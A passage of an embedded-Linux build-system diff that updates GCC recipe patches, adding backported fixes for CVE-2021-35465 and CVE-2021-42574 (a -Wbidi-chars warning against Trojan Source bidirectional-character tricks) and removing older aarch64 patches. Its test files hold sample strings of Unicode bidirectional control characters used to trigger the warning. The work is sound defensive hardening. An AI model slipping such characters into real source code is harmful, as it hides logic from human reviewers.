++ : rich_location (pfile->line_table, loc)
++ {
++ set_escape_on_output (true);
++ }
++};
++
+ #ifdef __cplusplus
+ }
+ #endif
+diff --git a/libcpp/lex.c b/libcpp/lex.c
+--- a/libcpp/lex.c 2021-12-14 01:14:48.435225968 -0800
++++ b/libcpp/lex.c 2021-12-14 01:24:37.220995816 -0800
+@@ -1774,7 +1774,11 @@ skip_whitespace (cpp_reader *pfile, cppc
+ while (is_nvspace (c));
+
+ if (saw_NUL)
+- cpp_error (pfile, CPP_DL_WARNING, "null character(s) ignored");
++ {
++ encoding_rich_location rich_loc (pfile);
++ cpp_error_at (pfile, CPP_DL_WARNING, &rich_loc,
++ "null character(s) ignored");
++ }
+
+ buffer->cur--;
+ }
+@@ -1803,6 +1807,28 @@ warn_about_normalization (cpp_reader *pf
+ if (CPP_OPTION (pfile, warn_normalize) < NORMALIZE_STATE_RESULT (s)
+ && !pfile->state.skipping)
+ {
++ location_t loc = token->src_loc;
++
++ /* If possible, create a location range for the token. */
++ if (loc >= RESERVED_LOCATION_COUNT
++ && token->type != CPP_EOF
++ /* There must be no line notes to process. */
++ && (!(pfile->buffer->cur
++ >= pfile->buffer->notes[pfile->buffer->cur_note].pos
++ && !pfile->overlaid_buffer)))
++ {
++ source_range tok_range;
++ tok_range.m_start = loc;
++ tok_range.m_finish
++ = linemap_position_for_column (pfile->line_table,
++ CPP_BUF_COLUMN (pfile->buffer,
++ pfile->buffer->cur));
++ loc = COMBINE_LOCATION_DATA (pfile->line_table,
++ loc, tok_range, NULL);
++ }
++
++ encoding_rich_location rich_loc (pfile, loc);
++
+ /* Make sure that the token is printed using UCNs, even
+ if we'd otherwise happily print UTF-8. */
+ unsigned char *buf = XNEWVEC (unsigned char, cpp_token_len (token));
+@@ -1810,11 +1836,11 @@ warn_about_normalization (cpp_reader *pf
+
+ sz = cpp_spell_token (pfile, token, buf, false) - buf;
+ if (NORMALIZE_STATE_RESULT (s) == normalized_C)
+- cpp_warning_with_line (pfile, CPP_W_NORMALIZE, token->src_loc, 0,
+- "`%.*s' is not in NFKC", (int) sz, buf);
++ cpp_warning_at (pfile, CPP_W_NORMALIZE, &rich_loc,
++ "`%.*s' is not in NFKC", (int) sz, buf);
+ else
+- cpp_warning_with_line (pfile, CPP_W_NORMALIZE, token->src_loc, 0,
+- "`%.*s' is not in NFC", (int) sz, buf);
++ cpp_warning_at (pfile, CPP_W_NORMALIZE, &rich_loc,
++ "`%.*s' is not in NFC", (int) sz, buf);
+ free (buf);
+ }
+ }
+diff --git a/libcpp/line-map.c b/libcpp/line-map.c
+--- a/libcpp/line-map.c 2021-07-27 23:55:08.716307283 -0700
++++ b/libcpp/line-map.c 2021-12-14 01:16:01.561942921 -0800
+@@ -2086,7 +2086,8 @@ rich_location::rich_location (line_maps
+ m_fixit_hints (),
+ m_seen_impossible_fixit (false),
+ m_fixits_cannot_be_auto_applied (false),
+- m_path (NULL)
++ m_path (NULL),
++ m_escape_on_output (false)
+ {
+ add_range (loc, SHOW_RANGE_WITH_CARET, label);
+ }
diff --git a/meta/recipes-devtools/gcc/gcc/0001-aarch64-Fix-up-__aarch64_cas16_acq_rel-fallback.patch b/meta/recipes-devtools/gcc/gcc/0001-aarch64-Fix-up-__aarch64_cas16_acq_rel-fallback.patch
deleted file mode 100644
index c060accd99..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0001-aarch64-Fix-up-__aarch64_cas16_acq_rel-fallback.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From fd2ec4542fd2975e6d3f2f1c1a2639945a84f9e1 Mon Sep 17 00:00:00 2001
-From: Jakub Jelinek <jakub@redhat.com>
-Date: Mon, 3 Aug 2020 22:55:28 +0200
-Subject: [PATCH] aarch64: Fix up __aarch64_cas16_acq_rel fallback
-
-As mentioned in the PR, the fallback path when LSE is unavailable writes
-incorrect registers to the memory if the previous content compares equal
-to x0, x1 - it writes copy of x0, x1 from the start of function, but it
-should write x2, x3.
-
-2020-08-03 Jakub Jelinek <jakub@redhat.com>
-
- PR target/96402
- * config/aarch64/lse.S (__aarch64_cas16_acq_rel): Use x2, x3 instead
- of x(tmp0), x(tmp1) in STXP arguments.
-
- * gcc.target/aarch64/pr96402.c: New test.
-
-(cherry picked from commit 90b43856fdff7d96d93d22970eca8a86c56e0ddc)
----
- gcc/testsuite/gcc.target/aarch64/pr96402.c | 16 ++++++++++++++++
- libgcc/config/aarch64/lse.S | 2 +-
- 2 files changed, 17 insertions(+), 1 deletion(-)
- create mode 100644 gcc/testsuite/gcc.target/aarch64/pr96402.c
-
-diff --git a/gcc/testsuite/gcc.target/aarch64/pr96402.c b/gcc/testsuite/gcc.target/aarch64/pr96402.c
-new file mode 100644
-index 00000000000..fa2dddfac15
---- /dev/null
-+++ b/gcc/testsuite/gcc.target/aarch64/pr96402.c
-@@ -0,0 +1,16 @@
-+/* PR target/96402 */
-+/* { dg-do run { target int128 } } */
-+/* { dg-options "-moutline-atomics" } */
-+
-+int
-+main ()
-+{
-+ __int128 a = 0;
-+ __sync_val_compare_and_swap (&a, (__int128) 0, (__int128) 1);
-+ if (a != 1)
-+ __builtin_abort ();
-+ __sync_val_compare_and_swap (&a, (__int128) 1, (((__int128) 0xdeadbeeffeedbac1ULL) << 64) | 0xabadcafe00c0ffeeULL);
-+ if (a != ((((__int128) 0xdeadbeeffeedbac1ULL) << 64) | 0xabadcafe00c0ffeeULL))
-+ __builtin_abort ();
-+ return 0;
-+}
-diff --git a/libgcc/config/aarch64/lse.S b/libgcc/config/aarch64/lse.S
-index 64691c601c1..c8fbfbce4fd 100644
---- a/libgcc/config/aarch64/lse.S
-+++ b/libgcc/config/aarch64/lse.S
-@@ -203,7 +203,7 @@ STARTFN NAME(cas)
- cmp x0, x(tmp0)
- ccmp x1, x(tmp1), #0, eq
- bne 1f
-- STXP w(tmp2), x(tmp0), x(tmp1), [x4]
-+ STXP w(tmp2), x2, x3, [x4]
- cbnz w(tmp2), 0b
- 1: ret
-
---
-2.26.2
-
diff --git a/meta/recipes-devtools/gcc/gcc/0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch b/meta/recipes-devtools/gcc/gcc/0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch
deleted file mode 100644
index 73de4c7590..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch
+++ /dev/null
@@ -1,202 +0,0 @@
-CVE: CVE-2020-13844
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From 1ff243934ac443b5f58cd02a5012ce58ecc31fb2 Mon Sep 17 00:00:00 2001
-From: Matthew Malcomson <matthew.malcomson@arm.com>
-Date: Thu, 9 Jul 2020 09:11:58 +0100
-Subject: [PATCH 1/3] aarch64: New Straight Line Speculation (SLS) mitigation
- flags
-
-Here we introduce the flags that will be used for straight line speculation.
-
-The new flag introduced is `-mharden-sls=`.
-This flag can take arguments of `none`, `all`, or a comma seperated list of one
-or more of `retbr` or `blr`.
-`none` indicates no special mitigation of the straight line speculation
-vulnerability.
-`all` requests all mitigations currently implemented.
-`retbr` requests that the RET and BR instructions have a speculation barrier
-inserted after them.
-`blr` requests that BLR instructions are replaced by a BL to a function stub
-using a BR with a speculation barrier after it.
-
-Setting this on a per-function basis using attributes or the like is not
-enabled, but may be in the future.
-
-gcc/ChangeLog:
-
-2020-06-02 Matthew Malcomson <matthew.malcomson@arm.com>
-
- * config/aarch64/aarch64-protos.h (aarch64_harden_sls_retbr_p):
- New.
- (aarch64_harden_sls_blr_p): New.
- * config/aarch64/aarch64.c (enum aarch64_sls_hardening_type):
- New.
- (aarch64_harden_sls_retbr_p): New.
- (aarch64_harden_sls_blr_p): New.
- (aarch64_validate_sls_mitigation): New.
- (aarch64_override_options): Parse options for SLS mitigation.
- * config/aarch64/aarch64.opt (-mharden-sls): New option.
- * doc/invoke.texi: Document new option.
----
- gcc/config/aarch64/aarch64-protos.h | 3 ++
- gcc/config/aarch64/aarch64.c | 76 +++++++++++++++++++++++++++++++++++++
- gcc/config/aarch64/aarch64.opt | 4 ++
- gcc/doc/invoke.texi | 12 ++++++
- 4 files changed, 95 insertions(+)
-
-diff --git a/gcc/config/aarch64/aarch64-protos.h b/gcc/config/aarch64/aarch64-protos.h
-index 723d9ba..eb5f4b4 100644
---- a/gcc/config/aarch64/aarch64-protos.h
-+++ b/gcc/config/aarch64/aarch64-protos.h
-@@ -781,4 +781,7 @@ extern const atomic_ool_names aarch64_ool_ldeor_names;
-
- tree aarch64_resolve_overloaded_builtin_general (location_t, tree, void *);
-
-+extern bool aarch64_harden_sls_retbr_p (void);
-+extern bool aarch64_harden_sls_blr_p (void);
-+
- #endif /* GCC_AARCH64_PROTOS_H */
-diff --git a/gcc/config/aarch64/aarch64.c b/gcc/config/aarch64/aarch64.c
-index b86434a..437a9cf 100644
---- a/gcc/config/aarch64/aarch64.c
-+++ b/gcc/config/aarch64/aarch64.c
-@@ -14494,6 +14494,79 @@ aarch64_validate_mcpu (const char *str, const struct processor **res,
- return false;
- }
-
-+/* Straight line speculation indicators. */
-+enum aarch64_sls_hardening_type
-+{
-+ SLS_NONE = 0,
-+ SLS_RETBR = 1,
-+ SLS_BLR = 2,
-+ SLS_ALL = 3,
-+};
-+static enum aarch64_sls_hardening_type aarch64_sls_hardening;
-+
-+/* Return whether we should mitigatate Straight Line Speculation for the RET
-+ and BR instructions. */
-+bool
-+aarch64_harden_sls_retbr_p (void)
-+{
-+ return aarch64_sls_hardening & SLS_RETBR;
-+}
-+
-+/* Return whether we should mitigatate Straight Line Speculation for the BLR
-+ instruction. */
-+bool
-+aarch64_harden_sls_blr_p (void)
-+{
-+ return aarch64_sls_hardening & SLS_BLR;
-+}
-+
-+/* As of yet we only allow setting these options globally, in the future we may
-+ allow setting them per function. */
-+static void
-+aarch64_validate_sls_mitigation (const char *const_str)
-+{
-+ char *token_save = NULL;
-+ char *str = NULL;
-+
-+ if (strcmp (const_str, "none") == 0)
-+ {
-+ aarch64_sls_hardening = SLS_NONE;
-+ return;
-+ }
-+ if (strcmp (const_str, "all") == 0)
-+ {
-+ aarch64_sls_hardening = SLS_ALL;
-+ return;
-+ }
-+
-+ char *str_root = xstrdup (const_str);
-+ str = strtok_r (str_root, ",", &token_save);
-+ if (!str)
-+ error ("invalid argument given to %<-mharden-sls=%>");
-+
-+ int temp = SLS_NONE;
-+ while (str)
-+ {
-+ if (strcmp (str, "blr") == 0)
-+ temp |= SLS_BLR;
-+ else if (strcmp (str, "retbr") == 0)
-+ temp |= SLS_RETBR;
-+ else if (strcmp (str, "none") == 0 || strcmp (str, "all") == 0)
-+ {
-+ error ("%<%s%> must be by itself for %<-mharden-sls=%>", str);
-+ break;
-+ }
-+ else
-+ {
-+ error ("invalid argument %<%s%> for %<-mharden-sls=%>", str);
-+ break;
-+ }
-+ str = strtok_r (NULL, ",", &token_save);
-+ }
-+ aarch64_sls_hardening = (aarch64_sls_hardening_type) temp;
-+ free (str_root);
-+}
-+
- /* Parses CONST_STR for branch protection features specified in
- aarch64_branch_protect_types, and set any global variables required. Returns
- the parsing result and assigns LAST_STR to the last processed token from
-@@ -14738,6 +14811,9 @@ aarch64_override_options (void)
- selected_arch = NULL;
- selected_tune = NULL;
-
-+ if (aarch64_harden_sls_string)
-+ aarch64_validate_sls_mitigation (aarch64_harden_sls_string);
-+
- if (aarch64_branch_protection_string)
- aarch64_validate_mbranch_protection (aarch64_branch_protection_string);
-
-diff --git a/gcc/config/aarch64/aarch64.opt b/gcc/config/aarch64/aarch64.opt
-index d99d14c..5170361 100644
---- a/gcc/config/aarch64/aarch64.opt
-+++ b/gcc/config/aarch64/aarch64.opt
-@@ -71,6 +71,10 @@ mgeneral-regs-only
- Target Report RejectNegative Mask(GENERAL_REGS_ONLY) Save
- Generate code which uses only the general registers.
-
-+mharden-sls=
-+Target RejectNegative Joined Var(aarch64_harden_sls_string)
-+Generate code to mitigate against straight line speculation.
-+
- mfix-cortex-a53-835769
- Target Report Var(aarch64_fix_a53_err835769) Init(2) Save
- Workaround for ARM Cortex-A53 Erratum number 835769.
-diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
-index a2794a6..bd5b77a 100644
---- a/gcc/doc/invoke.texi
-+++ b/gcc/doc/invoke.texi
-@@ -696,6 +696,7 @@ Objective-C and Objective-C++ Dialects}.
- -msign-return-address=@var{scope} @gol
- -mbranch-protection=@var{none}|@var{standard}|@var{pac-ret}[+@var{leaf}
- +@var{b-key}]|@var{bti} @gol
-+-mharden-sls=@var{opts} @gol
- -march=@var{name} -mcpu=@var{name} -mtune=@var{name} @gol
- -moverride=@var{string} -mverbose-cost-dump @gol
- -mstack-protector-guard=@var{guard} -mstack-protector-guard-reg=@var{sysreg} @gol
-@@ -17065,6 +17066,17 @@ functions. The optional argument @samp{b-key} can be used to sign the functions
- with the B-key instead of the A-key.
- @samp{bti} turns on branch target identification mechanism.
-
-+@item -mharden-sls=@var{opts}
-+@opindex mharden-sls
-+Enable compiler hardening against straight line speculation (SLS).
-+@var{opts} is a comma-separated list of the following options:
-+@table @samp
-+@item retbr
-+@item blr
-+@end table
-+In addition, @samp{-mharden-sls=all} enables all SLS hardening while
-+@samp{-mharden-sls=none} disables all SLS hardening.
-+
- @item -msve-vector-bits=@var{bits}
- @opindex msve-vector-bits
- Specify the number of bits in an SVE vector register. This option only has
---
-2.7.4
-
diff --git a/meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch b/meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
index 82ae9f8d14..0a108ee51b 100644
--- a/meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
+++ b/meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
@@ -1,4 +1,4 @@
-From f2a5dc3bc7e5727d6bf77e1c6e8a31a6f000883d Mon Sep 17 00:00:00 2001
+From 368eaf1846733a9920c7cf5bc547a377e7167785 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 08:37:11 +0400
Subject: [PATCH] gcc-4.3.1: ARCH_FLAGS_FOR_TARGET
@@ -12,10 +12,10 @@ Upstream-Status: Inappropriate [embedded specific]
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/configure b/configure
-index 4cc938ebb7d..226a64939d1 100755
+index 504f6410274..bcebad264ec 100755
--- a/configure
+++ b/configure
-@@ -7722,7 +7722,7 @@ fi
+@@ -9728,7 +9728,7 @@ fi
# for target_alias and gcc doesn't manage it consistently.
target_configargs="--cache-file=./config.cache ${target_configargs}"
@@ -25,10 +25,10 @@ index 4cc938ebb7d..226a64939d1 100755
*" newlib "*)
case " $target_configargs " in
diff --git a/configure.ac b/configure.ac
-index c78d9cbea62..f024f4bac9b 100644
+index 088e735c5db..1289fe08760 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -3227,7 +3227,7 @@ fi
+@@ -3240,7 +3240,7 @@ fi
# for target_alias and gcc doesn't manage it consistently.
target_configargs="--cache-file=./config.cache ${target_configargs}"
diff --git a/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-35465.patch b/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-35465.patch
new file mode 100644
index 0000000000..e09818fecf
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-35465.patch
@@ -0,0 +1,39 @@
+From 574e7950bd6b34e9e2cacce18c802b45505d1d0a Mon Sep 17 00:00:00 2001
+From: Richard Earnshaw <rearnsha@arm.com>
+Date: Fri, 18 Jun 2021 17:16:25 +0100
+Subject: [PATCH] arm: add erratum mitigation to __gnu_cmse_nonsecure_call
+ [PR102035]
+
+Add the recommended erratum mitigation sequence to
+__gnu_cmse_nonsecure_call for use on Armv8-m.main devices. Since this
+is in the library code we cannot know in advance whether the core we
+are running on will be affected by this, so always enable it.
+
+libgcc:
+ PR target/102035
+ * config/arm/cmse_nonsecure_call.S (__gnu_cmse_nonsecure_call):
+ Add vlldm erratum work-around.
+
+CVE: CVE-2021-35465
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=574e7950bd6b34e9e2cacce18c802b45505d1d0a]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ libgcc/config/arm/cmse_nonsecure_call.S | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/libgcc/config/arm/cmse_nonsecure_call.S b/libgcc/config/arm/cmse_nonsecure_call.S
+--- a/libgcc/config/arm/cmse_nonsecure_call.S
++++ b/libgcc/config/arm/cmse_nonsecure_call.S
+@@ -102,6 +102,11 @@ blxns r4
+ #ifdef __ARM_PCS_VFP
+ vpop.f64 {d8-d15}
+ #else
++/* VLLDM erratum mitigation sequence. */
++mrs r5, control
++tst r5, #8 /* CONTROL_S.SFPA */
++it ne
++.inst.w 0xeeb00a40 /* vmovne s0, s0 */
+ vlldm sp /* Lazy restore of d0-d16 and FPSCR. */
+ add sp, sp, #0x88 /* Free space used to save floating point registers. */
+ #endif /* __ARM_PCS_VFP */
diff --git a/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-42574.patch b/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-42574.patch
new file mode 100644
index 0000000000..9bad81d4d0
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-42574.patch
@@ -0,0 +1,1765 @@
+From 51c500269bf53749b107807d84271385fad35628 Mon Sep 17 00:00:00 2001
+From: Marek Polacek <polacek@redhat.com>
+Date: Wed, 6 Oct 2021 14:33:59 -0400
+Subject: [PATCH] libcpp: Implement -Wbidi-chars for CVE-2021-42574 [PR103026]
+
+From a link below:
+"An issue was discovered in the Bidirectional Algorithm in the Unicode
+Specification through 14.0. It permits the visual reordering of
+characters via control sequences, which can be used to craft source code
+that renders different logic than the logical ordering of tokens
+ingested by compilers and interpreters. Adversaries can leverage this to
+encode source code for compilers accepting Unicode such that targeted
+vulnerabilities are introduced invisibly to human reviewers."
+
+More info:
+https://nvd.nist.gov/vuln/detail/CVE-2021-42574
+https://trojansource.codes/
+
+This is not a compiler bug. However, to mitigate the problem, this patch
+implements -Wbidi-chars=[none|unpaired|any] to warn about possibly
+misleading Unicode bidirectional control characters the preprocessor may
+encounter.
+
+The default is =unpaired, which warns about improperly terminated
+bidirectional control characters; e.g. a LRE without its corresponding PDF.
+The level =any warns about any use of bidirectional control characters.
+
+This patch handles both UCNs and UTF-8 characters. UCNs designating
+bidi characters in identifiers are accepted since r204886. Then r217144
+enabled -fextended-identifiers by default. Extended characters in C/C++
+identifiers have been accepted since r275979. However, this patch still
+warns about mixing UTF-8 and UCN bidi characters; there seems to be no
+good reason to allow mixing them.
+
+We warn in different contexts: comments (both C and C++-style), string
+literals, character constants, and identifiers. Expectedly, UCNs are ignored
+in comments and raw string literals. The bidirectional control characters
+can nest so this patch handles that as well.
+
+I have not included nor tested this at all with Fortran (which also has
+string literals and line comments).
+
+Dave M. posted patches improving diagnostic involving Unicode characters.
+This patch does not make use of this new infrastructure yet.
+
+ PR preprocessor/103026
+
+gcc/c-family/ChangeLog:
+
+ * c.opt (Wbidi-chars, Wbidi-chars=): New option.
+
+gcc/ChangeLog:
+
+ * doc/invoke.texi: Document -Wbidi-chars.
+
+libcpp/ChangeLog:
+
+ * include/cpplib.h (enum cpp_bidirectional_level): New.
+ (struct cpp_options): Add cpp_warn_bidirectional.
+ (enum cpp_warning_reason): Add CPP_W_BIDIRECTIONAL.
+ * internal.h (struct cpp_reader): Add warn_bidi_p member
+ function.
+ * init.c (cpp_create_reader): Set cpp_warn_bidirectional.
+ * lex.c (bidi): New namespace.
+ (get_bidi_utf8): New function.
+ (get_bidi_ucn): Likewise.
+ (maybe_warn_bidi_on_close): Likewise.
+ (maybe_warn_bidi_on_char): Likewise.
+ (_cpp_skip_block_comment): Implement warning about bidirectional
+ control characters.
+ (skip_line_comment): Likewise.
+ (forms_identifier_p): Likewise.
+ (lex_identifier): Likewise.
+ (lex_string): Likewise.
+ (lex_raw_string): Likewise.
+
+gcc/testsuite/ChangeLog:
+
+ * c-c++-common/Wbidi-chars-1.c: New test.
+ * c-c++-common/Wbidi-chars-2.c: New test.
+ * c-c++-common/Wbidi-chars-3.c: New test.
+ * c-c++-common/Wbidi-chars-4.c: New test.
+ * c-c++-common/Wbidi-chars-5.c: New test.
+ * c-c++-common/Wbidi-chars-6.c: New test.
+ * c-c++-common/Wbidi-chars-7.c: New test.
+ * c-c++-common/Wbidi-chars-8.c: New test.
+ * c-c++-common/Wbidi-chars-9.c: New test.
+ * c-c++-common/Wbidi-chars-10.c: New test.
+ * c-c++-common/Wbidi-chars-11.c: New test.
+ * c-c++-common/Wbidi-chars-12.c: New test.
+ * c-c++-common/Wbidi-chars-13.c: New test.
+ * c-c++-common/Wbidi-chars-14.c: New test.
+ * c-c++-common/Wbidi-chars-15.c: New test.
+ * c-c++-common/Wbidi-chars-16.c: New test.
+ * c-c++-common/Wbidi-chars-17.c: New test.
+
+CVE: CVE-2021-42574
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=51c500269bf53749b107807d84271385fad35628]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ gcc/c-family/c.opt | 24 ++
+ gcc/doc/invoke.texi | 21 +-
+ gcc/testsuite/c-c++-common/Wbidi-chars-1.c | 12 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-10.c | 27 ++
+ gcc/testsuite/c-c++-common/Wbidi-chars-11.c | 13 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-12.c | 19 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-13.c | 17 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-14.c | 38 ++
+ gcc/testsuite/c-c++-common/Wbidi-chars-15.c | 59 +++
+ gcc/testsuite/c-c++-common/Wbidi-chars-16.c | 26 ++
+ gcc/testsuite/c-c++-common/Wbidi-chars-17.c | 30 ++
+ gcc/testsuite/c-c++-common/Wbidi-chars-2.c | 9 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-3.c | 11 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-4.c | 188 +++++++++
+ gcc/testsuite/c-c++-common/Wbidi-chars-5.c | 188 +++++++++
+ gcc/testsuite/c-c++-common/Wbidi-chars-6.c | 155 ++++++++
+ gcc/testsuite/c-c++-common/Wbidi-chars-7.c | 9 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-8.c | 13 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-9.c | 29 ++
+ libcpp/include/cpplib.h | 18 +-
+ libcpp/init.c | 1 +
+ libcpp/internal.h | 7 +
+ libcpp/lex.c | 408 +++++++++++++++++++-
+ 23 files changed, 1315 insertions(+), 7 deletions(-)
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-1.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-10.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-11.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-12.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-13.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-14.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-15.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-16.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-17.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-2.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-3.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-4.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-5.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-6.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-7.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-8.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-9.c
+
+diff --git a/gcc/c-family/c.opt b/gcc/c-family/c.opt
+index 8a4cd634f77..3976fc368db 100644
+--- a/gcc/c-family/c.opt
++++ b/gcc/c-family/c.opt
+@@ -370,6 +370,30 @@ Wbad-function-cast
+ C ObjC Var(warn_bad_function_cast) Warning
+ Warn about casting functions to incompatible types.
+
++Wbidi-chars
++C ObjC C++ ObjC++ Warning Alias(Wbidi-chars=,any,none)
++;
++
++Wbidi-chars=
++C ObjC C++ ObjC++ RejectNegative Joined Warning CPP(cpp_warn_bidirectional) CppReason(CPP_W_BIDIRECTIONAL) Var(warn_bidirectional) Init(bidirectional_unpaired) Enum(cpp_bidirectional_level)
++-Wbidi-chars=[none|unpaired|any] Warn about UTF-8 bidirectional control characters.
++
++; Required for these enum values.
++SourceInclude
++cpplib.h
++
++Enum
++Name(cpp_bidirectional_level) Type(int) UnknownError(argument %qs to %<-Wbidi-chars%> not recognized)
++
++EnumValue
++Enum(cpp_bidirectional_level) String(none) Value(bidirectional_none)
++
++EnumValue
++Enum(cpp_bidirectional_level) String(unpaired) Value(bidirectional_unpaired)
++
++EnumValue
++Enum(cpp_bidirectional_level) String(any) Value(bidirectional_any)
++
+ Wbool-compare
+ C ObjC C++ ObjC++ Var(warn_bool_compare) Warning LangEnabledBy(C ObjC C++ ObjC++,Wall)
+ Warn about boolean expression compared with an integer value different from true/false.
+diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
+index 6070288856c..a22758d18ee 100644
+--- a/gcc/doc/invoke.texi
++++ b/gcc/doc/invoke.texi
+@@ -326,7 +326,9 @@ Objective-C and Objective-C++ Dialects}.
+ -Warith-conversion @gol
+ -Warray-bounds -Warray-bounds=@var{n} @gol
+ -Wno-attributes -Wattribute-alias=@var{n} -Wno-attribute-alias @gol
+--Wno-attribute-warning -Wbool-compare -Wbool-operation @gol
++-Wno-attribute-warning @gol
++-Wbidi-chars=@r{[}none@r{|}unpaired@r{|}any@r{]} @gol
++-Wbool-compare -Wbool-operation @gol
+ -Wno-builtin-declaration-mismatch @gol
+ -Wno-builtin-macro-redefined -Wc90-c99-compat -Wc99-c11-compat @gol
+ -Wc11-c2x-compat @gol
+@@ -7559,6 +7561,23 @@ Attributes considered include @code{allo
+ This is the default. You can disable these warnings with either
+ @option{-Wno-attribute-alias} or @option{-Wattribute-alias=0}.
+
++@item -Wbidi-chars=@r{[}none@r{|}unpaired@r{|}any@r{]}
++@opindex Wbidi-chars=
++@opindex Wbidi-chars
++@opindex Wno-bidi-chars
++Warn about possibly misleading UTF-8 bidirectional control characters in
++comments, string literals, character constants, and identifiers. Such
++characters can change left-to-right writing direction into right-to-left
++(and vice versa), which can cause confusion between the logical order and
++visual order. This may be dangerous; for instance, it may seem that a piece
++of code is not commented out, whereas it in fact is.
++
++There are three levels of warning supported by GCC@. The default is
++@option{-Wbidi-chars=unpaired}, which warns about improperly terminated
++bidi contexts. @option{-Wbidi-chars=none} turns the warning off.
++@option{-Wbidi-chars=any} warns about any use of bidirectional control
++characters.
++
+ @item -Wbool-compare
+ @opindex Wno-bool-compare
+ @opindex Wbool-compare
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-10.c b/gcc/testsuite/c-c++-common/Wbidi-chars-10.c
+new file mode 100644
+index 00000000000..34f5ac19271
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-10.c
+@@ -0,0 +1,27 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* More nesting testing. */
++
++/* RLEâ« LRI⦠PDF⬠PDIâ©*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int LRE_\u202a_PDF_\u202c;
++int LRE_\u202a_PDF_\u202c_LRE_\u202a_PDF_\u202c;
++int LRE_\u202a_LRI_\u2066_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLE_\u202b_RLI_\u2067_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLE_\u202b_RLI_\u2067_PDI_\u2069_PDF_\u202c;
++int FSI_\u2068_LRO_\u202d_PDI_\u2069_PDF_\u202c;
++int FSI_\u2068;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int FSI_\u2068_PDI_\u2069;
++int FSI_\u2068_FSI_\u2068_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069;
++int RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDF_\u202c;
